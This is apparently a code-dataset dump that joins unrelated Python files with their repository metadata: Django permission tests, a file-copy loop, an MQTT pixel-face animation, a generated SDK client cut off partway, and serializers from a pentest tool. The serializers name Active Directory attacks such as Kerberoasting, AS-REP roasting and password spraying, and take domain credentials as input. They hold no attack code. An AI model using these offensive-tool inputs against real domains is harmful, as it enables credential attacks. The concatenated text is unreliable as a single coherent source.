403) url = reverse('users:untrust-mapping-team', args=[self.team.id]) response = self.client.put(url) self.assertEqual(response.status_code, 403) self.assertEqual(MappingTeam.objects.filter(trusted=False).count(), 1) self.assertEqual(MappingTeam.objects.filter(trusted=True).count(), 0) def test_with_staff_user(self): user = User.objects.create_user( username='staff_user', password='password', email='a@a.com', is_staff=True ) url = reverse('users:trust-mapping-team', args=[self.team.id]) self.client.login(username='staff_user', password='password') response = self.client.put(url) self.assertEqual(response.status_code, 200) self.team.refresh_from_db() self.assertEqual(MappingTeam.objects.filter(trusted=False).count(), 0) self.assertEqual(MappingTeam.objects.filter(trusted=True).count(), 1) url = reverse('users:untrust-mapping-team', args=[self.team.id]) response = self.client.put(url) self.assertEqual(response.status_code, 200) self.team.refresh_from_db() self.assertEqual(MappingTeam.objects.filter(trusted=False).count(), 1) self.assertEqual(MappingTeam.objects.filter(trusted=True).count(), 0) def test_with_other_user(self): user = User.objects.create_user( username='test_2', password='password', email='a@a.com' ) self.client.login(username='test_2', password='password') url = reverse('users:trust-mapping-team', args=[self.team.id]) response = self.client.put(url) self.assertEqual(response.status_code, 403) url = reverse('users:untrust-mapping-team', args=[self.team.id]) response = self.client.put(url) self.assertEqual(response.status_code, 403) self.assertEqual(MappingTeam.objects.filter(trusted=False).count(), 1) self.assertEqual(MappingTeam.objects.filter(trusted=True).count(), 0) self.staff_user = User.objects.create_user( username='staff', password='password', email='a@a.com', is_staff=True ) UserSocialAuth.objects.create( user=self.staff_user, provider='openstreetmap', uid='123456', ) class TestUpdateDeletedUsersView(APITestCase): def setUp(self): self.url = reverse('users:update-deleted-users') ChangesetFactory.create_batch(50, uid="1769", user="test_user") ChangesetFactory.create_batch(50, uid="1234", user="old_user") self.user = User.objects.create_user( username='test', password='password', email='a@a.com' ) UserSocialAuth.objects.create( user=self.user, provider='openstreetmap', uid='123123', ) self.staff_user = User.objects.create_user( username='staff', password='password', email='a@a.com', is_staff=True ) UserSocialAuth.objects.create( user=self.staff_user, provider='openstreetmap', uid='123456', ) def test_unauthenticated(self): request = self.client.post(self.url, data={'uids': [1769, 1234]}) self.assertEqual(request.status_code, 401) def test_non_staff_user(self): self.client.login(username=self.user.username, password='password') request = self.client.post(self.url, data={'uids': [1769, 1234]}) self.assertEqual(request.status_code, 403) def test_bad_request(self): self.client.login(username=self.staff_user.username, password='password') request = self.client.post(self.url) self.assertEqual(request.status_code, 400) request = self.client.post(self.url, data={'uid': [1769, 1234]}) self.assertEqual(request.status_code, 400) def test_view(self): user = User.objects.create_user( username='test_user', password='password', email='a@a.com' ) UserSocialAuth.objects.create( user=user, provider='openstreetmap', uid='1769', ) user_2 = User.objects.create_user( username='old_user', password='password', email='a@a.com' ) UserSocialAuth.objects.create( user=user_2, provider='openstreetmap', uid='1234', ) self.client.login(username=self.staff_user.username, password='password') request = self.client.post(self.url, data={'uids': [1769, 1234]}) self.assertEqual(request.status_code, 200) self.assertEqual(Changeset.objects.filter(uid='1769').count(), 50) self.assertEqual(Changeset.objects.filter(user='user_1769').count(), 50) self.assertEqual(Changeset.objects.filter(user='test_user').count(), 0) self.assertEqual(Changeset.objects.filter(uid='1234').count(), 50) self.assertEqual(Changeset.objects.filter(user='user_1234').count(), 50) self.assertEqual(Changeset.objects.filter(user='old_user').count(), 0) self.assertEqual(User.objects.filter(username='old_user').count(), 0) self.assertEqual(User.objects.filter(username='test_user').count(), 0) self.assertEqual(User.objects.filter(username='user_1234').count(), 1) self.assertEqual(User.objects.filter(username='user_1769').count(), 1) def test_view_as_strings(self): self.client.login(username=self.staff_user.username, password='password') request = self.client.post(self.url, data={'uids': ['1769', '1234']}) self.assertEqual(request.status_code, 200) self.assertEqual(Changeset.objects.filter(uid='1769').count(), 50) self.assertEqual(Changeset.objects.filter(user='user_1769').count(), 50) self.assertEqual(Changeset.objects.filter(user='test_user').count(), 0) self.assertEqual(Changeset.objects.filter(uid='1234').count(), 50) self.assertEqual(Changeset.objects.filter(user='user_1234').count(), 50) self.assertEqual(Changeset.objects.filter(user='old_user').count(), 0)

38.942688

82

0.596245

2,173

19,705

5.318914

0.072711

0.133674

0.131338

0.105382

0.891158

0.859145

0.832497

0.799706

0.768472

0.74416

0

0.031705

0.265313

19,705

505

83

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0

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1

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false

0.070455

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0

null

0

1

0

null

0

1

0

7

3f8f6de8fd2d63c911589b035d7ba54d95814173

358

py

Python

src/main/resources/assets/tiny_tintato/models/item/duplicate.py

hYdos/heresYourCopperCoppa

ff7c49cb13fe1f32d8f8029b96b18282daf7aad0

[ "CC0-1.0" ]

null

src/main/resources/assets/tiny_tintato/models/item/duplicate.py

hYdos/heresYourCopperCoppa

ff7c49cb13fe1f32d8f8029b96b18282daf7aad0

[ "CC0-1.0" ]

null

src/main/resources/assets/tiny_tintato/models/item/duplicate.py

hYdos/heresYourCopperCoppa

ff7c49cb13fe1f32d8f8029b96b18282daf7aad0

[ "CC0-1.0" ]

null

from shutil import copyfile i = 0 while (i != 69421): src = "/home/hayden/Documents/Projects/heresYourCopperCoppa/src/main/resources/assets/tiny_tintato/models/item/tin_.json" dst = "/home/hayden/Documents/Projects/heresYourCopperCoppa/src/main/resources/assets/tiny_tintato/models/item/tin_" + str(i) + ".json" copyfile(src, dst) i = i + 1

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1

0

1

null

0

10

3fe2132a3833de52a458263d715fbd0abb2130b4

3,241

py

Python

pentestui/pentest_api/serializers.py

mustgundogdu/PentestUI

92263ea73bd2eaa2081fb277c76aa229103a1d54

[ "Apache-2.0" ]

21

2021-07-26T05:19:45.000Z

2022-02-01T07:35:21.000Z

pentestui/pentest_api/serializers.py

mustgundogdu/PentestUI

92263ea73bd2eaa2081fb277c76aa229103a1d54

[ "Apache-2.0" ]

null

pentestui/pentest_api/serializers.py

mustgundogdu/PentestUI

92263ea73bd2eaa2081fb277c76aa229103a1d54

[ "Apache-2.0" ]

2

2021-09-21T06:52:10.000Z

2021-09-26T07:31:27.000Z

from rest_framework import serializers class SpnEnumSerializer(serializers.Serializer): """Serializes a name field for testing our APIView """ Server_Ip = serializers.CharField(max_length=20) Domain_Name = serializers.CharField(max_length=50) User_Name = serializers.CharField(max_length=30) Password = serializers.CharField(max_length=35) class DomainAdminsSerializer(serializers.Serializer): """Srializes a name field for Our Group Member API View""" Server_Ip = serializers.CharField(max_length=20) Domain_Name = serializers.CharField(max_length=50) User_Name = serializers.CharField(max_length=30) Password = serializers.CharField(max_length=35) class DfsharesSerializer(serializers.Serializer): Server_Ip = serializers.CharField(max_length=20) Domain_Name = serializers.CharField(max_length=50) User_Name = serializers.CharField(max_length=30) Password = serializers.CharField(max_length=35) class DomainControllersSerializer(serializers.Serializer): Server_Ip = serializers.CharField(max_length=20) Domain_Name = serializers.CharField(max_length=50) User_Name = serializers.CharField(max_length=30) Password = serializers.CharField(max_length=35) class SensitiveDataSerializer(serializers.Serializer): """ Sensitive data Search Serializer""" Server_Ip = serializers.CharField(max_length=20) Domain_Name = serializers.CharField(max_length=50) User_Name = serializers.CharField(max_length=30) Password = serializers.CharField(max_length=35) Search_Data = serializers.CharField(max_length=75) class DnsZoneSerializer(serializers.Serializer): """Serializes a name field for testing our APIView """ Server_Ip = serializers.CharField(max_length=20) Domain_Name = serializers.CharField(max_length=50) User_Name = serializers.CharField(max_length=30) Password = serializers.CharField(max_length=35) class PreAuthUserSerializer(serializers.Serializer): """Serializes a name field for testing Our APIView """ Server_Ip = serializers.CharField(max_length=20) Domain_Name = serializers.CharField(max_length=50) User_Name = serializers.CharField(max_length=30) Password = serializers.CharField(max_length=35) class PasswordSpraySerializer(serializers.Serializer): """ password Spray Serializer""" Server_Ip = serializers.CharField(max_length=20) Domain_Name = serializers.CharField(max_length=50) User_Name = serializers.CharField(max_length=30) Password = serializers.CharField(max_length=35) Spray_Password = serializers.CharField(max_length=90) class AsrepRoastingSerializer(serializers.Serializer): """ Asrep-Roasting Attack Serializer """ Server_Ip = serializers.CharField(max_length=20) Domain_Name = serializers.CharField(max_length=50) User_Name = serializers.CharField(max_length=30) Password = serializers.CharField(max_length=35) class KerberoastinSerializer(serializers.Serializer): """ Kerberoasting Attack Serializer """ Server_Ip = serializers.CharField(max_length=20) Domain_Name = serializers.CharField(max_length=50) User_Name = serializers.CharField(max_length=30) Password = serializers.CharField(max_length=35)

43.797297

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0.395092

0.49816

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0.130207

3,241

73

63

44.39726

0.837531

0.099969

0

0.754717

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1

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false

0.226415

0.018868

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0

1

0

null

0

1

0

1

0

11

b75c06f8d378320761db133540ce803b8ed6fd94

13,175

py

Python

animations/yellow-screamy.py

SteffiPeTaffy/draw

b8a31a42a8b5c5bf8ab2c33ce1c58d82ff1e97df

[ "Unlicense" ]

2

2021-02-07T17:07:42.000Z

2021-02-13T18:17:49.000Z

animations/yellow-screamy.py

SteffiPeTaffy/draw

b8a31a42a8b5c5bf8ab2c33ce1c58d82ff1e97df

[ "Unlicense" ]

null

animations/yellow-screamy.py

SteffiPeTaffy/draw

b8a31a42a8b5c5bf8ab2c33ce1c58d82ff1e97df

[ "Unlicense" ]

null

import paho.mqtt.client as mqtt import time broker_address = 'broker.emqx.io' broker_port = 1883 client = mqtt.Client('SteffiPeTaffy') client.connect(broker_address, broker_port) topic = "lieblingswelt/draw" yellow = [254, 254, 84] black = [0, 0, 0] white = [254, 254, 254] red = [254, 0, 0] face = [ [yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow], [yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow], [yellow, black, black, black, black, black, yellow, yellow, yellow, yellow, black, black, black, black, black, yellow], [black, white, white, white, white, white, black, yellow, yellow, black, white, white, white, white, white, black], [black, white, white, black, white, white, black, yellow, yellow, black, white, white, black, white, white, black], [black, white, white, black, white, white, black, yellow, yellow, black, white, white, black, white, white, black], [black, white, white, white, white, white, black, yellow, yellow, black, white, white, white, white, white, black], [yellow, black, black, black, black, black, yellow, yellow, yellow, yellow, black, black, black, black, black, yellow], [yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow], [yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow], [yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow], [yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow], [yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow], [yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow], [yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow], [yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow, yellow] ] for x in range(16): for y in range(16): colour = face[x][y] message = [y, x, colour[0], colour[1], colour[2]] client.publish(topic, bytearray(message)) time.sleep(0.2) for i in range(5): # from mid to right client.publish(topic, bytearray([3, 4, white[0], white[1], white[2]])) client.publish(topic, bytearray([3, 5, white[0], white[1], white[2]])) client.publish(topic, bytearray([4, 4, black[0], black[1], black[2]])) client.publish(topic, bytearray([4, 5, black[0], black[1], black[2]])) client.publish(topic, bytearray([12, 4, white[0], white[1], white[2]])) client.publish(topic, bytearray([12, 5, white[0], white[1], white[2]])) client.publish(topic, bytearray([13, 4, black[0], black[1], black[2]])) client.publish(topic, bytearray([13, 5, black[0], black[1], black[2]])) time.sleep(2) # from right to mid client.publish(topic, bytearray([4, 4, white[0], white[1], white[2]])) client.publish(topic, bytearray([4, 5, white[0], white[1], white[2]])) client.publish(topic, bytearray([3, 4, black[0], black[1], black[2]])) client.publish(topic, bytearray([3, 5, black[0], black[1], black[2]])) client.publish(topic, bytearray([13, 4, white[0], white[1], white[2]])) client.publish(topic, bytearray([13, 5, white[0], white[1], white[2]])) client.publish(topic, bytearray([12, 4, black[0], black[1], black[2]])) client.publish(topic, bytearray([12, 5, black[0], black[1], black[2]])) time.sleep(2) # from mid to left client.publish(topic, bytearray([3, 4, white[0], white[1], white[2]])) client.publish(topic, bytearray([3, 5, white[0], white[1], white[2]])) client.publish(topic, bytearray([2, 4, black[0], black[1], black[2]])) client.publish(topic, bytearray([2, 5, black[0], black[1], black[2]])) client.publish(topic, bytearray([12, 4, white[0], white[1], white[2]])) client.publish(topic, bytearray([12, 5, white[0], white[1], white[2]])) client.publish(topic, bytearray([11, 4, black[0], black[1], black[2]])) client.publish(topic, bytearray([11, 5, black[0], black[1], black[2]])) time.sleep(2) # from left to mid client.publish(topic, bytearray([2, 4, white[0], white[1], white[2]])) client.publish(topic, bytearray([2, 5, white[0], white[1], white[2]])) client.publish(topic, bytearray([3, 4, black[0], black[1], black[2]])) client.publish(topic, bytearray([3, 5, black[0], black[1], black[2]])) client.publish(topic, bytearray([11, 4, white[0], white[1], white[2]])) client.publish(topic, bytearray([11, 5, white[0], white[1], white[2]])) client.publish(topic, bytearray([12, 4, black[0], black[1], black[2]])) client.publish(topic, bytearray([12, 5, black[0], black[1], black[2]])) time.sleep(2) # closed mouth client.publish(topic, bytearray([3, 13, black[0], black[1], black[2]])) client.publish(topic, bytearray([4, 13, black[0], black[1], black[2]])) client.publish(topic, bytearray([5, 13, black[0], black[1], black[2]])) client.publish(topic, bytearray([6, 13, black[0], black[1], black[2]])) client.publish(topic, bytearray([7, 13, black[0], black[1], black[2]])) client.publish(topic, bytearray([8, 13, black[0], black[1], black[2]])) client.publish(topic, bytearray([9, 13, black[0], black[1], black[2]])) client.publish(topic, bytearray([10, 13, black[0], black[1], black[2]])) client.publish(topic, bytearray([11, 13, black[0], black[1], black[2]])) time.sleep(1) # slightly opened mouth client.publish(topic, bytearray([3, 12, black[0], black[1], black[2]])) client.publish(topic, bytearray([4, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([5, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([6, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([7, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([8, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([9, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([10, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([11, 12, black[0], black[1], black[2]])) client.publish(topic, bytearray([4, 11, black[0], black[1], black[2]])) client.publish(topic, bytearray([5, 11, black[0], black[1], black[2]])) client.publish(topic, bytearray([6, 11, black[0], black[1], black[2]])) client.publish(topic, bytearray([7, 11, black[0], black[1], black[2]])) client.publish(topic, bytearray([8, 11, black[0], black[1], black[2]])) client.publish(topic, bytearray([9, 11, black[0], black[1], black[2]])) client.publish(topic, bytearray([10, 11, black[0], black[1], black[2]])) time.sleep(1) # fully opened mouth client.publish(topic, bytearray([3, 12, black[0], black[1], black[2]])) client.publish(topic, bytearray([4, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([5, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([6, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([7, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([8, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([9, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([10, 12, red[0], red[1], red[2]])) client.publish(topic, bytearray([11, 12, black[0], black[1], black[2]])) client.publish(topic, bytearray([3, 11, black[0], black[1], black[2]])) client.publish(topic, bytearray([4, 11, red[0], red[1], red[2]])) client.publish(topic, bytearray([5, 11, red[0], red[1], red[2]])) client.publish(topic, bytearray([6, 11, red[0], red[1], red[2]])) client.publish(topic, bytearray([7, 11, red[0], red[1], red[2]])) client.publish(topic, bytearray([8, 11, red[0], red[1], red[2]])) client.publish(topic, bytearray([9, 11, red[0], red[1], red[2]])) client.publish(topic, bytearray([10, 11, red[0], red[1], red[2]])) client.publish(topic, bytearray([11, 11, black[0], black[1], black[2]])) client.publish(topic, bytearray([3, 10, black[0], black[1], black[2]])) client.publish(topic, bytearray([4, 10, red[0], red[1], red[2]])) client.publish(topic, bytearray([5, 10, red[0], red[1], red[2]])) client.publish(topic, bytearray([6, 10, red[0], red[1], red[2]])) client.publish(topic, bytearray([7, 10, red[0], red[1], red[2]])) client.publish(topic, bytearray([8, 10, red[0], red[1], red[2]])) client.publish(topic, bytearray([9, 10, red[0], red[1], red[2]])) client.publish(topic, bytearray([10, 10, red[0], red[1], red[2]])) client.publish(topic, bytearray([11, 10, black[0], black[1], black[2]])) client.publish(topic, bytearray([4, 9, black[0], black[1], black[2]])) client.publish(topic, bytearray([5, 9, black[0], black[1], black[2]])) client.publish(topic, bytearray([6, 9, black[0], black[1], black[2]])) client.publish(topic, bytearray([7, 9, black[0], black[1], black[2]])) client.publish(topic, bytearray([8, 9, black[0], black[1], black[2]])) client.publish(topic, bytearray([9, 9, black[0], black[1], black[2]])) client.publish(topic, bytearray([10, 9, black[0], black[1], black[2]])) time.sleep(2) # no mouth client.publish(topic, bytearray([3, 12, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([4, 12, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([5, 12, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([6, 12, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([7, 12, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([8, 12, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([9, 12, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([10, 12, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([11, 12, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([3, 11, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([4, 11, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([5, 11, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([6, 11, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([7, 11, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([8, 11, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([9, 11, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([10, 11, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([11, 11, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([3, 10, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([4, 10, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([5, 10, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([6, 10, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([7, 10, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([8, 10, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([9, 10, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([10, 10, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([11, 10, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([4, 9, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([5, 9, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([6, 9, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([7, 9, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([8, 9, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([9, 9, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([10, 9, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([3, 13, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([4, 13, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([5, 13, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([6, 13, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([7, 13, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([8, 13, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([9, 13, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([10, 13, yellow[0], yellow[1], yellow[2]])) client.publish(topic, bytearray([11, 13, yellow[0], yellow[1], yellow[2]])) time.sleep(1) client.disconnect() print('done!')

58.039648

119

0.637192

2,001

13,175

4.193403

0.031984

0.243118

0.347515

0.451913

0.952926

0.949589

0.93779

0.930402

0.920391

0

0.075071

0.148691

13,175

226

120

58.29646

0.673056

0.010019

0

0.359375

0

0.003836

0

1

0

false

0

0.010417

0

0.010417

0.005208

0

null

1

0

null

0

9

b7ab36ee5d58bed03c58fbfddefdc68cafa579fe

132

py

Python

main.py

rapkin/osm-quarantine-eat-out

9741458f118cac289479a110ae8abbeabb7deb55

[ "MIT" ]

1

2020-05-16T15:57:58.000Z

main.py

rapkin/osm-quarantine-eat-out

9741458f118cac289479a110ae8abbeabb7deb55

[ "MIT" ]

null

main.py

rapkin/osm-quarantine-eat-out

9741458f118cac289479a110ae8abbeabb7deb55

[ "MIT" ]

null

from download_data import get_outdoor_seatings_for_country country_name = 'Ukraine' get_outdoor_seatings_for_country(country_name)

26.4

58

0.893939

19

132

5.631579

0.578947

0.186916

0.336449

0.392523

0.728972

0

0.068182

132

4

59

33

0.869919

0

0.05303

0

1

0

false

0

0.333333

0

0.333333

0

1

0

null

0

1

0

1

0

1

0

null

0

1

0

7

b7ff724437975fc6a6a9b411e6de2d9975413a2d

115,183

py

Python

elements_sdk/api/integrations_api.py

elements-storage/elements-sdk-python

39c365fe079dcd5928c5fe1bbaa67389bd5a3d81

[ "MIT" ]

6

2020-11-16T23:15:18.000Z

2022-03-14T03:56:12.000Z

elements_sdk/api/integrations_api.py

elements-storage/elements-sdk-python

39c365fe079dcd5928c5fe1bbaa67389bd5a3d81

[ "MIT" ]

1

2021-07-28T13:03:49.000Z

2021-08-25T12:24:01.000Z

elements_sdk/api/integrations_api.py

elements-storage/elements-sdk-python

39c365fe079dcd5928c5fe1bbaa67389bd5a3d81

[ "MIT" ]

null

# coding: utf-8 """ ELEMENTS API The version of the OpenAPI document: 2 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from elements_sdk.api_client import ApiClient from elements_sdk.exceptions import ( ApiTypeError, ApiValueError ) class IntegrationsApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def delete_slack_connection(self, id, **kwargs): # noqa: E501 """delete_slack_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_slack_connection(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.delete_slack_connection_with_http_info(id, **kwargs) # noqa: E501 def delete_slack_connection_with_http_info(self, id, **kwargs): # noqa: E501 """delete_slack_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_slack_connection_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method delete_slack_connection" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `delete_slack_connection`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def delete_teams_connection(self, id, **kwargs): # noqa: E501 """delete_teams_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_teams_connection(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.delete_teams_connection_with_http_info(id, **kwargs) # noqa: E501 def delete_teams_connection_with_http_info(self, id, **kwargs): # noqa: E501 """delete_teams_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_teams_connection_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method delete_teams_connection" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `delete_teams_connection`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/teams/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_all_slack_connections(self, **kwargs): # noqa: E501 """get_all_slack_connections # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_slack_connections(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[SlackConnection] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_all_slack_connections_with_http_info(**kwargs) # noqa: E501 def get_all_slack_connections_with_http_info(self, **kwargs): # noqa: E501 """get_all_slack_connections # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_slack_connections_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[SlackConnection], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') 